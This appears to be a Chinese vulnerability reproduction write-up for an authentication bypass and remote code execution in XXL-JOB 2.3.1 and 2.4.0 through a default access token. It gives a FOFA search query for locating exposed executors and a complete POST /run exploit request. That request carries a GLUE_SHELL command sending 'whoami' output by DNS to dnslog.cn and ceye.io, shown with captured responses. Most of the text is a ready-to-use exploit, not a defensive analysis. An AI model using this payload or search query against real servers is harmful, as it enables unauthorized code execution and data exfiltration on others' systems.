

X9-1XXL-Job-任务调度平台-PermissionAC

漏洞描述：

XXL-JOB 默认配置下，用于调度通讯的 accessToken 不是随机生成的，而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值，攻击者可利用此绕过认证调用 executor，执行任意代码，从而获取服务器权限。
XXL-JOB之前版本accessToken的值都为空，2.3.1后才出现默认值，如下：

影响版本：

xxl-job-2.3.1、2.4.0版本

网站图片：

{"code":500,"msg":"invalid request, HttpMethod not support."}

网络测绘：

fofa语法：

FOFA: "invalid request, HttpMethod not support" && port="9999"

漏洞复现：

payload:

```
POST /run HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
XXL-JOB-ACCESS-TOKEN: default token
Upgrade-Insecure-Requests: 1
```

```
{
  "jobId": 3,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586373637819,
  "glueType": "GLUE_SHELL",
  "glueSource": "ping `whoami`.Dnslog.cn",
  "glueUpdateTime": 1586693836766,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}
```

效果图:

PS: 每执行一次就需要更换请求体中jobId的值

Request

< > 数据包扫描 热加载 构造请求

1 POST /run HTTP/1.1

2 Host: ;9999

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0

4 Accept-Encoding: gzip, deflate, br

5 Connection: close

6 Content-Type: application/json

7 XXL-JOB-ACCESS-TOKEN: default token

8 Upgrade-Insecure-Requests: 1

9

10

11 {

12 "jobId": 3,

13 "executorHandler": "demoJobHandler",

14 "executorParams": "demoJobHandler",

15 "executorBlockStrategy": "SERIAL_EXECUTION",

16 "executorTimeout": 0,

17 "logId": 1,

18 "logDateTime": 1586373637819,

19 "glueType": "GLUE_SHELL",

20 "glueSource": "ping `whoami`.v0u26h.ceye.io",

21 "glueUpdateTime": 1586693836766,

22 }

Responses 12bytes / 16ms

1 HTTP/1.1 200 OK

2 content-type: text/html; charset=utf-8

3 Content-Length: 12

4

5 {"code":200}

← → ↺ ⚠ 不安全 | ceye.io/records/dns

CEYE

Introduce

Payloads

API

DNS Rebinding

Records

HTTP Request

DNS Query

Records / DNS Query

The record is only saved for 6 hours and only the last 100 items are displayed.

input search url name Download Reload Clear

ID	Name	Remote Addr
1582918788	rnslk .ceye.io	21.65
1582918779		14
1582917525	v0u26h.c	